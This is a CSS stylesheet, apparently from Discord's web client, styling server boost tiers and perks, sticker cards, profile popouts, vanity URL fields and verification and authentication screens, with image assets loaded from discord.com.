.inner-2Y6JuD { width: 48px; height: 48px; border: 1px solid rgba(153, 170, 181, 0.3); border-radius: 5px; background-size: 36px 36px; background-repeat: no-repeat; background-position: 50% center; -webkit-box-pack: center; justify-content: center; }

.inner-2Y6JuD:hover { background-color: rgba(153, 170, 181, 0.3); cursor: pointer; }

.inner-2Y6JuD:disabled { opacity: 0.3; pointer-events: none; }

.ellipsis-3JqXfv { position: absolute; inset: 0px; }

.spinnerItem-3JjAoz { background-color: rgb(79, 84, 92); }

.theme-dark .inner-2Y6JuD, .theme-light .inner-2Y6JuD { background-color: transparent; }

.theme-dark .inner-2Y6JuD:hover, .theme-light .inner-2Y6JuD:hover { border-color: transparent; }

.buttonFlexContainer-3I-FUG { margin: 4px 0px 0px; }

.buttonWrapper-1AHlq- { position: relative; margin-left: 0px; margin-right: 12px; }

.buttonWrapper-1AHlq- .oauthButton-1qlQzP { border-radius: 4px; border: 1px solid var(--background-tertiary); background-color: var(--background-secondary); }

.buttonWrapper-1AHlq- .oauthButton-1qlQzP:hover { border-color: var(--background-tertiary); background-color: var(--background-secondary-alt); }

.buttonWrapper-1AHlq- .connected-2pJS_z { opacity: 0.75; border: 2px solid var(--brand-experiment); }

.buttonWrapper-1AHlq- .connected-2pJS_z:hover { opacity: 1; border: 2px solid var(--brand-experiment); }

.checkmarkCircle-2n4gFf { background-color: var(--brand-experiment); border-radius: 50%; width: 16px; height: 16px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; position: absolute; top: -8px; right: -8px; }

.container-1qNbPI { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; text-align: center; }

.banner-1u8Jm- { width: 428px; margin-bottom: 40px; }

.featureCards-3180AK { display: grid; grid-template-columns: repeat(3, 1fr); gap: 16px; margin-bottom: 32px; }

.body-30k2w1 { margin-top: 8px; margin-bottom: 32px; }

.separator-17xQ-K { margin: 32px 0px; height: 1px; width: 100%; background-color: var(--header-primary); opacity: 0.06; border: none; }

.pendingBar-2PE9Mz { background-color: var(--background-tertiary); display: flex; padding: 16px; border-radius: 8px; text-align: start; -webkit-box-align: center; align-items: center; margin: 0px 32px; }

.paragraph-2aSCE4 { margin-bottom: -14px; }

.requirementsImage-GtF-P9 { margin-right: 16px; }

.loadingText-13pXwz { margin-bottom: 16px; }

.info-GYHpsN { color: hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%); }

.warning-3AFarE { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.button-2Xyah6 { margin-bottom: 2px; }

.applicationPauseWarning-1NvWkH { margin-bottom: 16px; text-align: start; }

.checklistContainer-euvGxh { background-color: var(--background-secondary); border-radius: 8px; text-align: start; margin: 0px 32px; }

.checklistHeader-TtQAoo { background-color: var(--background-tertiary); display: flex; padding: 16px; -webkit-box-align: center; align-items: center; border-radius: 8px 8px 0px 0px; }

.cooldown-7QbeI6 { margin-top: 16px; }

.progressBar-3DHbdu { position: relative; width: 24px; }

.bar-3S3dlZ { width: 4px; x: 10px; rx: 4px; }

.background-3xPPFc, .foreground-2EIns2 { }

.foreground-2EIns2 { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.foregroundTooltipPosition-3-rP__ { position: absolute; left: 24px; }

.tier-2c9-hT { position: absolute; left: 4px; border-radius: 50%; width: 16px; height: 16px; }

.tierAccomplished-2eXPdI, .tierCurrent-Lw7-4E, .tierDefault-2qaRkD, .tierInProgress-3mBoXq { }

.tierCurrent-Lw7-4E { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.currentTierIcon-EGY5eG { width: 10px; height: 10px; }

.foregroundTooltip-_9t78D { max-width: 280px; }

.theme-dark .background-3xPPFc { color: rgb(32, 34, 37); }

.theme-dark .tierInProgress-3mBoXq { background-color: rgb(32, 34, 37); }

.theme-light .background-3xPPFc { color: rgb(235, 237, 239); }

.theme-light .tierInProgress-3mBoXq { background-color: rgb(235, 237, 239); }

.theme-dark .tierAccomplished-2eXPdI, .theme-dark .tierCurrent-Lw7-4E, .theme-dark .tierDefault-2qaRkD, .theme-light .tierAccomplished-2eXPdI, .theme-light .tierCurrent-Lw7-4E, .theme-light .tierDefault-2qaRkD { background: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.theme-dark .tierCurrent-Lw7-4E, .theme-light .tierCurrent-Lw7-4E { box-shadow: rgba(0, 0, 0, 0.24) 0px 4px 8px; }

.theme-dark .currentTierIcon-EGY5eG, .theme-light .currentTierIcon-EGY5eG { color: rgb(255, 255, 255); }

.theme-dark .tooltipMuted-26IcoY, .theme-light .tooltipMuted-26IcoY { color: rgb(114, 118, 125); }

.content-EpTwk1 { display: flex; }

.progress-P0N0qm { position: absolute; }

.progressWithSubscriptions-1g0lMR { margin-top: 7px; }

.tiers-3eUU7I { margin-left: 38px; width: 100%; }

.subscriberCount-11AZJ2 { margin-top: 8px; margin-bottom: 24px; }

.subscriberCount-11AZJ2 strong { font-weight: 500; }

.subscribers-34Wiok .subscriberMask-2keJDX { margin-right: -8px; }

.moreSubscribers-XxaiVS { border-radius: 50%; height: 30px; width: 30px; line-height: 30px; font-size: 12px; display: flex; -webkit-box-pack: center; justify-content: center; cursor: pointer; }

.subscribersPopout-3tW0Y9 { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; padding: 16px; border-radius: 4px; box-sizing: border-box; max-height: 216px; }

.subscribersPopoutUser-4hhgA8 { display: flex; -webkit-box-align: center; align-items: center; font-size: 14px; line-height: 18px; }

.subscribersPopoutUsername-1qkpRX { margin-left: 8px; max-width: 200px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.tierDefaultUnlocked-388I3Z { margin-bottom: 16px; }

.tierDefaultUnlockedDescription-1Hq8Pg { margin-top: 10px; }

.tier-2pEkRl { border-radius: 4px; }

.tierBottomMargin-305env { margin-bottom: 24px; }

.tierHeader-l2pbOh { border-radius: 4px 4px 0px 0px; position: relative; }

.tierHeaderWithoutCardBody-39Er3Y { border-radius: 4px; margin-bottom: 16px; }

.tierHeaderContent-3t3DoO { display: flex; -webkit-box-align: center; align-items: center; padding: 16px; transform: translateZ(0px); }

.tierHeaderLocked-3S508x { }

.tierHeaderUnlocked-3lTDnP { overflow: hidden; }

.tierHeaderUnlockedBackground-dZ6zLI { position: absolute; inset: 0px; }

.tierIcon-1g5KsI { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); width: 32px; height: 32px; }

.tierIconLocked-3jQkNk { color: rgb(79, 84, 92); }

.tierTitle-1zWf2L { margin-left: 16px; font-size: 16px; line-height: 20px; -webkit-box-flex: 1; flex: 1 1 0%; font-weight: 600; color: var(--interactive-normal); }

.tierTitleActive-2SvV-i { color: var(--interactive-active); }

.tierRequirement-UAxC-l { font-size: 16px; }

.tierLock-3nsR0q { width: 30px; height: 30px; margin-left: 16px; color: var(--interactive-muted); }

.tierUnlocked-2H6ULo { background-image: linear-gradient(90deg,hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%),hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%)); border-radius: 10px; color: rgb(255, 255, 255); font-size: 12px; font-weight: 500; padding: 4px 8px; text-transform: uppercase; }

.tierClose-11rsMz { position: absolute; width: 100%; height: 100%; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.tierCloseMechaWumpus-I5VKyc { height: 70px; width: 90px; }

.tierCloseHint-w4yino { position: relative; border-radius: 4px; padding: 8px 16px; max-width: 135px; font-size: 12px; line-height: 16px; margin-left: 16px; }

.tierCloseHint-w4yino::before { content: ""; position: absolute; top: calc(50% - 8px); left: -16px; border: 8px solid transparent; }

.tierCloseClose-iRVkcs { align-self: flex-start; margin-top: 4px; margin-left: 4px; cursor: pointer; }

.tierCloseCloseIcon-1mnX8B { width: 16px; height: 16px; }

.hidden-UVFBon { opacity: 0; pointer-events: none; }

.tierBody-3aUxuc { padding: 16px; border-radius: 0px 0px 4px 4px; box-sizing: border-box; font-weight: 500; }

.previousPerks-2mqe4t { font-size: 14px; line-height: 18px; margin-bottom: 16px; }

.perks-32J1d0 { user-select: text; display: grid; gap: 16px; grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); }

.perk-3tfSmw { display: flex; }

.perkIcon-1y667v { width: 20px; height: 20px; flex-shrink: 0; }

.perkText-tqMI_- { margin-left: 10px; font-size: 12px; line-height: 16px; }

.perkTitle-3CUroY { text-transform: uppercase; font-weight: 600; }

.perkDescription-3buU5c { margin-top: 4px; }

.avatar-3C-cz_ { width: 30px !important; height: 30px !important; }

.theme-dark .moreSubscribers-XxaiVS { background-color: rgb(32, 34, 37); color: rgb(255, 255, 255); }

.theme-dark .subscriberCount-11AZJ2 { color: rgb(185, 187, 190); }

.theme-dark .subscriberCount-11AZJ2 strong { font-weight: 500; color: rgb(220, 221, 222); }

.theme-dark .subscribersPopout-3tW0Y9 { background: rgb(24, 25, 28); box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.theme-dark .subscribersPopoutUser-4hhgA8 { color: rgb(185, 187, 190); }

.theme-dark .tierHeaderLocked-3S508x { background-color: rgb(32, 34, 37); color: rgb(185, 187, 190); }

.theme-dark .tierHeaderUnlocked-3lTDnP { background-color: rgb(32, 34, 37); }

.theme-dark .tierCloseClose-iRVkcs { color: rgb(255, 255, 255); }

.theme-dark .tierBody-3aUxuc { background-color: rgb(47, 49, 54); color: rgb(185, 187, 190); }

.theme-light .moreSubscribers-XxaiVS { background-color: rgb(32, 34, 37); color: rgb(255, 255, 255); }

.theme-light .subscriberCount-11AZJ2 { color: rgb(144, 153, 164); }

.theme-light .subscriberCount-11AZJ2 strong { color: rgb(79, 86, 96); }

.theme-light .subscribersPopout-3tW0Y9 { background: rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; border: 1px solid rgb(235, 237, 239); }

.theme-light .subscribersPopoutUser-4hhgA8 { color: rgb(116, 127, 141); }

.theme-light .tierHeaderLocked-3S508x { background-color: rgb(248, 249, 249); color: rgb(144, 153, 164); }

.theme-light .tierHeaderUnlocked-3lTDnP { background-color: rgb(248, 249, 249); }

.theme-light .tierCloseClose-iRVkcs { color: rgb(116, 127, 141); }

.theme-light .tierBody-3aUxuc { background-color: rgb(255, 255, 255); color: rgb(46, 51, 56); border: 1px solid rgb(235, 237, 239); }

.theme-dark .tierCloseHint-w4yino, .theme-light .tierCloseHint-w4yino { color: rgb(255, 255, 255); background-color: var(--brand-experiment); }

.theme-dark .tierCloseHint-w4yino::before, .theme-light .tierCloseHint-w4yino::before { border-right-color: var(--brand-experiment); }

.theme-dark .tierHeaderUnlocked-3lTDnP, .theme-light .tierHeaderUnlocked-3lTDnP { color: rgb(255, 255, 255); }

.theme-dark .tierHeaderUnlockedBackground-dZ6zLI, .theme-light .tierHeaderUnlockedBackground-dZ6zLI { background-image: linear-gradient(90deg,hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%),hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%)); }

.newBadge-3izl4X { display: inline-block; -webkit-box-flex: 0; flex: 0 0 auto; margin-left: 4px; text-transform: uppercase; vertical-align: bottom; }

.crossfade-aWRFUb { position: relative; }

.icon-2fGOj8 { position: absolute; inset: 0px; width: 100%; height: 100%; }

.animation-10BpnT { position: relative; }

.image-2PF0zB { background-repeat: no-repeat; background-size: 100%; }

.wumpus-2ykFc1 { position: relative; background-image: url("https://discord.com/assets/cabae264554f285fceed705e2585c439.svg"); width: 100%; height: 100%; }

.fireWrapper-foRH1S { position: absolute; width: 30%; height: 20%; }

.fireTopWrapper-2GkNLP { transform: rotate(348deg); top: 70%; left: 0px; }

.fireBottomWrapper-nNfjpr { transform: rotate(330deg); top: 92%; left: 8%; }

.fire-8ekImD { background-image: url("https://discord.com/assets/2c8eb55866004b9c01f87018f19011e9.svg"); width: 100%; height: 100%; transform-origin: right center; }

.titleBlurb-30nc64 { margin-bottom: 40px; margin-right: 20px; }

.premiumGuildGracePeriodTitle-3FC6Yq { text-transform: uppercase; }

.divider-2tLA1l { height: 1px; background: var(--background-modifier-accent); margin: 32px 0px; }

.wrapper-18yWki { -webkit-box-align: center; align-items: center; background-color: var(--background-secondary); border-radius: 8px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; padding: 12px; position: relative; transition: background-color 0.125s ease 0s; }

.wrapper-18yWki:focus-within, .wrapper-18yWki:hover { background-color: var(--background-secondary-alt); }

.wrapper-18yWki:focus-within .actions-1gwz6d, .wrapper-18yWki:hover .actions-1gwz6d { opacity: 1; visibility: visible; }

.content-2Ifj11 { transition: opacity 0.1s ease 0s; }

.contentRemoving-1evGTQ { opacity: 0.25; }

.sticker-20SgX2 { display: flex; -webkit-box-pack: center; justify-content: center; margin-bottom: 8px; }

.stickerName-2Q3oCj { font-weight: 500; text-align: center; }

.relatedEmoji-29s8wh { height: 16px; left: 8px; position: absolute; top: 8px; width: 16px; }

.wrapperDisabled-JnCH8b .relatedEmoji-29s8wh, .wrapperDisabled-JnCH8b .sticker-20SgX2 { filter: grayscale(100%); }

.user-2DANVB { display: flex; -webkit-box-pack: center; justify-content: center; margin-top: 4px; }

.userAvatar-3Qn271 { margin-right: 4px; }

.actions-1gwz6d { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; opacity: 0; position: absolute; right: -10px; top: -11px; transition: opacity 0.25s ease 0s, visibility 0.25s ease 0s; z-index: 1; visibility: hidden; }

.action-Wexk0G, .actions-1gwz6d { display: flex; }

.action-Wexk0G { -webkit-box-align: center; align-items: center; background-color: var(--background-primary); border-radius: 24px; box-shadow: rgba(0, 0, 0, 0.3) 0px 1px 5px 0px, rgba(32, 34, 37, 0.6) 0px 0px 0px 1px; color: var(--interactive-normal); cursor: pointer; height: 24px; -webkit-box-pack: center; justify-content: center; transition: color 0.125s ease 0s; width: 24px; }

.action-Wexk0G:focus, .action-Wexk0G:hover { color: var(--interactive-active); }

.action-Wexk0G + .action-Wexk0G { margin-top: 8px; }

.actionRemove-HdT_9L, .actionRemove-HdT_9L:focus, .actionRemove-HdT_9L:hover { color: var(--text-danger); }

.icon-3CsuzN { height: 16px; width: 16px; }

.spinner-2HMkkA { position: absolute; top: 0px; left: 0px; width: 100%; height: 100%; }

.theme-light .action-Wexk0G { box-shadow: rgba(0, 0, 0, 0.2) 0px 1px 5px, rgba(185, 187, 190, 0.3) 0px 0px 0px 1px; }

.grid-2oDofK { display: grid; gap: 12px; grid-template-columns: repeat(4, minmax(146px, 160px)); grid-template-rows: 160px; }

.uploadCard-24zwDx { cursor: pointer; }

.iconWrapper-11Wvjn { -webkit-box-align: center; align-items: center; background-image: linear-gradient(90deg,hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%),hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%)); border-radius: 48px; color: rgb(255, 255, 255); display: flex; -webkit-box-pack: center; justify-content: center; height: 48px; margin-bottom: 10px; width: 48px; }

.icon-2U40yC { height: 24px; width: 24px; }

.emptyTierWrapper-KMG0PV { -webkit-box-align: center; align-items: center; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; padding: 16px 0px; }

.unusedTierWrapper-24B13Y { padding: 4px 0px; }

.emptyTierImage-UTgz1t { width: 88px; height: 60px; }

.emptyTierImage-UTgz1t, .unlockTierCtaHeading-3Q9aZn { margin-bottom: 16px; }

.tierCardSubheading-IziHG4 { font-weight: 400; }

.uploadCardLabel-375Lg_ { font-weight: 500; }

.upsellContainer-j6r8ts { -webkit-box-align: center; align-items: center; background: url(\/assets\/421e9ec77829ec1e4b1dd492dfad2f8a\.svg),linear-gradient(90deg,hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%),hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%)); border-radius: 8px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; padding: 40px 0px; }

.upsellHeader-1uGjmt { color: rgb(255, 255, 255); margin-bottom: 4px; }

.upsellDescription-wGycWD { color: rgb(255, 255, 255); margin-bottom: 24px; max-width: 400px; text-align: center; }

.upsellButtons-22j5kr { display: flex; }

.upsellButtonPrimary-3hAFKI { margin-right: 16px; }

.upsellButton-5l9SWq { color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }

.uploadRequirementsList-3IBGMg { list-style: disc; padding: 8px 0px 8px 24px; }

.divider-3TpNwk { margin: 24px 0px; }

.button-2Nu6xU { width: 100%; padding: 8px 0px; line-height: 18px; text-transform: uppercase; border-color: var(--brand-experiment-700); margin-top: 8px; }

.descriptionBox-2ypBKO { background-color: var(--background-secondary); border-radius: 8px; display: flex; margin-top: 20px; padding: 16px; }

.descriptionSection-2RP8Hz { -webkit-box-flex: 1; flex: 1 1 50%; }

.descriptionRow-2-56Y- { display: flex; color: var(--text-normal); font-size: 14px; line-height: 18px; margin-top: 16px; }

.descriptionIcon-1lueyX { -webkit-box-flex: 0; flex: 0 0 auto; height: 20px; margin-right: 16px; vertical-align: text-bottom; width: 20px; }

.divider-2kBghv { margin: 20px 0px; }

.button-3Ytbpx:first-of-type { margin-right: 16px; }

.rightButtonContainer-2fJ3Zl { margin-left: auto; display: flex; }

.lastSync-2S4zq0 { color: var(--text-normal); font-size: 12px; margin-top: 8px; }

.buttonContainer-3Zyezr { display: flex; -webkit-box-pack: justify; justify-content: space-between; }

.dot-18T0Md { content: ""; background: var(--brand-experiment); height: 12px; width: 12px; border-radius: 12px; }

.container-3B1TbJ { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; }

.prefixInput-14nUik { padding: 11px; border-width: 1px; border-style: solid; border-radius: 3px; transition: border-color 0.2s ease 0s; cursor: text; }

.prefixInputInput-cqxbLV, .prefixInputPrefix-2IUJ4X { font-size: 16px; }

.prefixInputInput-cqxbLV { width: 100%; border: 0px; background: transparent; }

.theme-light .prefixInput-14nUik { background-color: rgba(79, 84, 92, 0.02); border-color: rgba(79, 84, 92, 0.3); }

.theme-light .prefixInput-14nUik:hover { border-color: rgba(79, 84, 92, 0.6); }

.theme-light .prefixInput-14nUik.focused-2QzoMt { border-color: var(--brand-experiment); }

.theme-light .prefixInput-14nUik.error-6_-E9g { border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-light .prefixInputInput-cqxbLV { color: rgb(79, 84, 92); }

.theme-light .prefixInputInput-cqxbLV::-webkit-input-placeholder { color: rgb(185, 187, 190); }

.theme-light .prefixInputInput-cqxbLV::placeholder { color: rgb(185, 187, 190); }

.theme-light .prefixInputPrefix-2IUJ4X { color: rgba(114, 118, 125, 0.6); }

.theme-dark .prefixInput-14nUik { background-color: rgba(0, 0, 0, 0.1); border-color: rgba(0, 0, 0, 0.3); }

.theme-dark .prefixInput-14nUik:hover { border-color: rgba(0, 0, 0, 0.6); }

.theme-dark .prefixInput-14nUik.focused-2QzoMt { border-color: var(--brand-experiment); }

.theme-dark .prefixInput-14nUik.error-6_-E9g { border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-dark .prefixInputInput-cqxbLV { color: rgb(246, 246, 247); }

.theme-dark .prefixInputInput-cqxbLV::-webkit-input-placeholder { color: rgb(114, 118, 125); }

.theme-dark .prefixInputInput-cqxbLV::placeholder { color: rgb(114, 118, 125); }

.theme-dark .prefixInputPrefix-2IUJ4X { color: rgb(114, 118, 125); }

.editVanityUrlCard-2G8vXk { padding: 20px; }

.removeVanityUrlButton-1dLPpX { align-self: flex-start; padding: 0px; }

.formTitleField-3Aw29i { -webkit-box-flex: 1; flex-grow: 1; }

.serverBoostTabItem-3vujbv[aria-selected="true"] { color: rgb(255, 255, 255) !important; background-color: var(--brand-experiment) !important; }

.serverBoostTabItem-3vujbv[aria-selected="true"] .icon-21VyCF { fill: rgb(255, 255, 255) !important; }

.guildAvatar-3YmrtA { margin-right: 4px; -webkit-box-flex: 0; flex: 0 0 auto; }

.guildAvatarWithoutIcon-1s9Pcy { background-color: var(--brand-experiment); color: rgb(255, 255, 255); }

.guildNick-kAvTju { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: start; justify-content: flex-start; font-weight: 500; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; font-size: 12px; line-height: 16px; color: var(--text-muted); }

.actionButton-3vN-m0 { min-height: 32px; }

.actionRightButton-L3w65w { margin-left: 10px; }

.pendingIncoming-3Frmjf { display: flex; -webkit-box-flex: 0; flex-grow: 0; }

.header-4zuFdR { position: relative; }

.headerTop-547GTz { position: absolute; top: 16px; right: 16px; left: 160px; display: flex; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; }

.badgeList-1R1WgZ { padding-right: 12px; }

.warningCircleIcon-3R0DLw { align-self: flex-start; height: 20px; width: 20px; }

.avatar-AvHqJA { position: absolute; top: -68px; left: 16px; border: 8px solid var(--background-floating); background-color: var(--background-floating); }

.relationshipButtons-pUQVkf { display: flex; -webkit-box-align: center; align-items: center; }

.nameTag-ECvD8P { position: relative; display: block; user-select: text; white-space: normal; word-break: break-word; line-height: 24px; font-size: 20px; margin-top: 76px; margin-left: 16px; margin-right: 16px; font-weight: 600; font-family: var(--font-display); }

.nameTagNoCustomStatus-3IWmZC { margin-bottom: 20px; }

.nameTagWithCustomStatus-2kkfrQ { margin-bottom: 12px; }

.customStatusActivity-nmH3DF { padding: 0px 0px 16px 16px; }

.customStatus-1COQYu .customStatusEmoji-1xY2Yn { width: 20px; height: 20px; }

.customStatus-1COQYu .customStatusEmoji-1xY2Yn:not(:last-child) { margin-right: 8px; }

.customStatus-1COQYu .customStatusEmoji-1xY2Yn.customStatusSoloEmoji-1RMV7U { width: 48px; height: 48px; }

.customStatusText-2opeSw { user-select: text; }

.username-FvTBog { display: inline; vertical-align: top; color: var(--header-primary); }

.discriminator-1swucG { display: inline-block; vertical-align: top; color: var(--header-secondary); }

.botTag-U0I7-9 { vertical-align: top; display: inline-flex; position: relative; top: 4px; }

.nameTag-ECvD8P .botTag-U0I7-9, .nameTag-ECvD8P .discriminator-1swucG, .nameTag-ECvD8P .username-FvTBog { white-space: normal; }

.additionalActionsIcon-365LnQ { cursor: pointer; display: block; width: 24px; height: 24px; margin-left: 8px; opacity: 1; color: var(--interactive-normal); }

.additionalActionsIcon-365LnQ:hover { color: var(--interactive-hover); }

.additionalActionsIcon-365LnQ:active { color: var(--interactive-active); }

.applicationInstallButton-agcjK8 { margin-right: 8px; }

.root-3QyAh1 { border-radius: 8px; overflow: hidden; position: relative; width: 600px; background-color: var(--background-floating); max-height: unset; box-shadow: none !important; }

.tabBarContainer-37hZsr { border-bottom: 1px solid var(--background-modifier-accent); padding-left: 20px; }

.tabBar-3nvOPa { -webkit-box-align: stretch; align-items: stretch; height: 55px; }

.tabBar-3nvOPa, .tabBarItem-3dfX8P { display: flex; }

.tabBarItem-3dfX8P { -webkit-box-align: center; align-items: center; border-bottom: 2px solid transparent; margin-right: 40px; font-size: 14px; }

.body-r6_QPy, .topSection-y3p-_D { background-color: var(--background-floating); }

.body-r6_QPy { height: 240px; }

.noTabBar-3ZjPNR { border-top: 1px solid var(--background-modifier-accent); }

.verification-3RfWYC { width: 100%; height: 100%; background-color: var(--background-primary); }

.container-1kp68M { width: 500px; }

.image-2LVZ_j { width: 400px; height: 300px; background-size: 80%; background-repeat: no-repeat; background-position: 50% center; }

.title-wZCcDo { font-size: 24px; line-height: 30px; }

.body-3ROqbj, .title-wZCcDo { text-align: center; }

.body-3ROqbj { font-size: 16px; line-height: 24px; }

.footer-1eZumv { font-size: 14px; text-align: center; line-height: 18px; }

.footerBullet-1m59pn { opacity: 0.3; }

.footerAction-2ATxbG { font-weight: 600; margin-left: 12px; margin-right: 12px; }

.logoutButton-1WaAEE { position: relative; bottom: 40px; }

.verificationBlock-1Chfpc { border-radius: 3px; padding-left: 20px; padding-right: 20px; cursor: pointer; }

.verificationBlock-1Chfpc .image-2LVZ_j { width: 180px; height: 160px; background-size: 80%; background-repeat: no-repeat; background-position: 50% center; }

.verificationBlock-1Chfpc .body-3ROqbj { text-transform: uppercase; }

.theme-light .verification-3RfWYC .image-2LVZ_j { background-image: url("https://discord.com/assets/99b4e2a4b65960511001b49b9a019e7f.svg"); }

.theme-light .verification-3RfWYC .title-wZCcDo { color: rgb(79, 84, 92); }

.theme-light .verification-3RfWYC .body-3ROqbj, .theme-light .verification-3RfWYC .footer-1eZumv { color: rgb(114, 118, 125); }

.theme-light .verificationBlock-1Chfpc { border: 1px solid rgb(185, 187, 190); }

.theme-light .verificationBlock-1Chfpc:hover { background-color: rgb(246, 246, 247); }

.theme-light .verificationBlock-1Chfpc .image-2LVZ_j.email-1MPDs- { background-image: url("https://discord.com/assets/849927c9fad5972b8c02891fa64850f3.svg"); }

.theme-light .verificationBlock-1Chfpc .image-2LVZ_j.phone-27MBJz { background-image: url("https://discord.com/assets/80d54b21bc78a138787d5d27ec3e29ea.svg"); }

.theme-light .verificationBlock-1Chfpc .body-3ROqbj { color: rgb(114, 118, 125); }

.theme-dark .verification-3RfWYC .image-2LVZ_j { background-image: url("https://discord.com/assets/d5bd759fc308772cbf277188cabdcc8f.svg"); }

.theme-dark .verification-3RfWYC .title-wZCcDo { color: rgb(255, 255, 255); }

.theme-dark .verification-3RfWYC .body-3ROqbj, .theme-dark .verification-3RfWYC .footer-1eZumv { color: rgb(185, 187, 190); }

.theme-dark .verificationBlock-1Chfpc { border: 1px solid rgb(32, 34, 37); }

.theme-dark .verificationBlock-1Chfpc:hover { background-color: rgb(32, 34, 37); }

.theme-dark .verificationBlock-1Chfpc .image-2LVZ_j.email-1MPDs- { background-image: url("https://discord.com/assets/ad21e9327e71ab990fd1d7fb8cea66fc.svg"); }

.theme-dark .verificationBlock-1Chfpc .image-2LVZ_j.phone-27MBJz { background-image: url("https://discord.com/assets/0eeb095cd923afdf420687347dc673ff.svg"); }

.theme-dark .verificationBlock-1Chfpc .body-3ROqbj { color: rgb(185, 187, 190); }

.emailVerificationModal-3cfLjL { position: relative; width: 440px; padding: 20px; }

.emailVerificationModal-3cfLjL .animationContainer-s_1r9o { position: absolute; top: -150px; left: 90px; right: 90px; }

.emailVerificationModal-3cfLjL .title-38uBel { font-weight: 700; font-size: 24px; line-height: 30px; margin-top: 100px; color: var(--header-primary); }

.emailVerificationModal-3cfLjL .body-1_Foxn { font-size: 16px; line-height: 20px; text-align: center; color: var(--header-secondary); }

.emailVerificationModal-3cfLjL .container-2GVxK3 { align-self: stretch; }

.emailVerificationModal-3cfLjL .fullWidthButton-1JDY-- { width: 100%; }

.neverShow-3xJo1l, .options-1ppfW- { margin-top: 20px; }

.neverShow-3xJo1l { margin-bottom: 8px; padding: 0px; color: var(--text-link); }

.cancelButton-3F-H2t { margin-right: 20px; }

.modal-1gaP8y { overflow: hidden; }

.closeIcon-1WWHLZ { position: absolute; top: 16px; right: 16px; cursor: pointer; color: var(--interactive-normal); }

.cancelButton-3ggB4W { padding: 0px; margin: 0px 24px; }

.content-1ZHTI1 { padding-bottom: 16px; user-select: text; }

.authenticationFailImage-9Wmybq, .authenticationRequiredImage-2I6f-O, .authenticationSuccessImage-1-XUab { background-position: 50% center; background-repeat: no-repeat; height: 115px; margin-bottom: 32px; }

.theme-dark .authenticationRequiredImage-2I6f-O { background-image: url("https://discord.com/assets/ad66c2b1e739060afe74de24f7cc4f97.svg"); }

.theme-dark .authenticationSuccessImage-1-XUab { background-image: url("https://discord.com/assets/369e96a61ac2a37279f81ba839f3b9b2.svg"); }

.theme-dark .authenticationFailImage-9Wmybq { background-image: url("https://discord.com/assets/f057d122337814596b28b4640cfc5671.svg"); }

.theme-light .authenticationRequiredImage-2I6f-O { background-image: url("https://discord.com/assets/1172f342cd026cc5e76d117747c63a32.svg"); }

.theme-light .authenticationSuccessImage-1-XUab { background-image: url("https://discord.com/assets/57ab3aa7de95fc120eb7460789a1e2a7.svg"); }

.theme-light .authenticationFailImage-9Wmybq { background-image: url("https://discord.com/assets/05634c67dd717b851ce0599ac9997812.svg"); }

.positioner-1JFnK3 { position: fixed; bottom: 0px; left: 0px; right: 0px; text-align: center; z-index: 1000; }

.container-3N_NK0 { display: inline-flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; max-width: 90vw; margin: auto auto 16px; padding: 16px; border-radius: 8px; background-color: var(--background-floating); box-shadow: var(--elevation-high); }

.bindName-1dqPaH { font-weight: 600; margin-right: 8px; }

.bindName-1dqPaH, .shortcut-IydbjV { -webkit-box-flex: 0; flex: 0 0 auto; }

.shortcut-IydbjV { margin: 0px 2px; }

.separator-xXR2BM { -webkit-box-flex: 0; flex: 0 0 auto; font-weight: 600; margin: 0px 12px; color: var(--text-normal); }

.separator-xXR2BM::after { content: "•"; }

.page-10_ecs { background-color: var(--background-floating); width: 100%; height: 100%; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.contentWrapper-29ZPQM, .page-10_ecs { display: flex; }

.contentWrapper-29ZPQM { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; max-width: 720px; max-height: 640px; border-radius: 4px; background-color: var(--background-primary); }

.platform-osx .dragRegion-1qH1bf { -webkit-app-region: drag; }

.dragRegion-1qH1bf { position: absolute; top: 0px; left: 0px; width: 100%; height: 100px; }

.carouselMaxWidth-v4PnFL { position: relative; align-self: stretch; }

